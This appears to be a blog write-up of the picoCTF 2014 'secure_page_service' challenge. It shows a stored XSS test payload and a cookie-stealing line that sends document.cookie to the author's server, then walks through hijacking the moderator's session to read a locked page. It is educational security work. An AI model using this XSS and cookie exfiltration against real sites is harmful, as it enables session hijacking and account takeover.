Saturday, November 22, 2014

XSS Attack : Exploring picoCTF 2014 secure_page_service

"The bad guys have hidden their access codes on an anonymous secure page service. Our intelligence tells us that the codes was posted on a page with id 43440b22864b30a0098f034eaf940730ca211a55, but unfortunately it's protected by a password, and only site moderators can view the post without the password. Can you help us recover the codes?"  - problem definition


This year, picoCTF had a problem worth 100 points, titled "secure_page_service" which seemed to be a primitive "facebook" style service where you can share posts, view other posts, and even flag other posts for moderation (Which is quite important!).





The website that they gave us was secure_page_service which seems to require some login credentials to go further into the website. Luckily it also provided us with a registration form! (As far as I'm concerned, this login script was not vulnerable nor susceptible to SQL injection, so trying to login without proper credentials is the wrong attack vector for this problem. But its good if you thought about it :)  ).

 I made an account with username "mod1" and password "test1234". After logging in, we're presented with this page:



Which apparently allows us to create a page with custom content, as well as browse to a page ID. The challenge also gave us page id 43440b22864b30a0098f034eaf940730ca211a55, which if we type in to the "View a Page" section, we get back the "secret" page:


Darn, the page is locked. As I stated earlier, SQL injection was not the proper attack vector, so trying to supply a malicious argument to that Password field will lead us nowhere. ( Even though it looks so tempting!)

The next thing to try would be an XSS attack. Essentially,  if user input is not cleansed properly, HTML elements can be injected into the user input, leading into user-supplied code execution, which not only covers HTML but also Javascript. To test this out, let's see what happens if we try to create a page with a content  of  "<script> alert("XSS Vulnerability"); </script>". When we go to view the page, an alert box with the text "XSS Vulnerability" should appear on our browser should this site be vulnerable to an XSS attack. Let's try it out!


Now let's create the page and view it!


There it is! Now as soon as we click on the alert box, the rest of the page loads and we get an interesting option of "Report to Moderator". It also states in the problem definition that I posted above, that site moderators can view posts without needing to provide a password. Looks like we're getting on to something here! One  method of authenticating or providing privileges to a user is to use server-side sessions that can maintain information about a particular user, such as :whether or not they are an administrator or simply a guest. One can conjecture that this site may use that method to see if a user is moderator or not. Given that this site is vulnerable to XSS attacks, and there's a link that will flag this post to a moderator (and presumably have the moderator "look" at the post), it should be fairly straightforward to make a page that steals the moderator's PHPSESSID and make ourselves authenticate to the server using the moderators session id!

The payload I'll use is based off the fact that I do have an internet-facing webserver with a simple php script on it that simply logs out to a file whatever is received via GET. So if we can somehow force  the moderator to perform a GET request on "<my_server>/cookies.php?cookie=" + document.cookie, then I'll have access to the moderator's PHPSESSID! After that, I can simply change my PHPSESSID using any cookie editor to the moderator's and reload the secret page! Let's see some pictures:

Here's the payload (I blocked out my server name):


Now we can "report" this page to the moderator, and this same code will execute from the moderator's perspective! Therefore, we'll get his PHPSESSID! After running it, I got that his session id is gpncq91h7u4os69g2djm3n1ig1 , with that in mind let's change our PHPSESSID to that and navigate back to the original hidden page. First, let's log-out and back in so that we have a chance to authenticate to the hidden page server as moderator instead of as normal user.

So after logging out and back in, let's change our PHPSESSID :



And finally, let's head on over to the hidden page:


Hey, there's our flag! And in the background we can see the words "moderator override engaged:" to verify that we did in fact "authenticate" as a moderator =)



1 comment: